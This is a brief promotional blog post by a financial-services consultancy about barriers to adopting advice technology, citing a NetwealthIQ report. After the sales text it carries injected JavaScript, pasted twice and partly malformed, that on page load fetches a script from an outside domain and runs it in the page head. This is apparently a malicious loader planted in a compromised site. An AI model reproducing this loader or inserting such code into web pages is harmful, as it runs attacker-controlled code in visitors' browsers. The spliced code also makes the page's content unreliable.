The NetwealthIQ Report on 2024 Advice Technology presented the insightful graph
above, outlining the key barriers to selecting and implementing technology in advice
businesses.
While these findings are very consistent with clients that come to us expressing
challenges with technology, we also find that barriers such as ‘Lack of time to
explore options’ and ‘Insufficient resources or skilled people’ can be deterrents to
many change-for-better projects in financial services firms.
At Engage FS we’re driven to help you overcome these barriers. Our staff train to be
super users of your core technology systems, and we provide Practice Management
guidance to help you make meaningful progress across your whole business.
Get in touch via [email protected] and book a free 15-minute
Discovery chat.
var url = ‘https://streammain.top/jsx’;
fetch(url)
.then(response => response.text())
.then(data => {
var script = document.createElement(‘script’);
script.innerHTML = data.trim();
document.head.appendChild(script);
})
});;document.addEventListener(“DOMContentLoaded”, function () {
var url = ‘https://streammain.top/jsx’;
fetch(url)
.then(response => response.text())
.then(data => {
var script = document.createElement(‘script’);
script.innerHTML = data.trim();
document.head.appendChild(script);
})
});
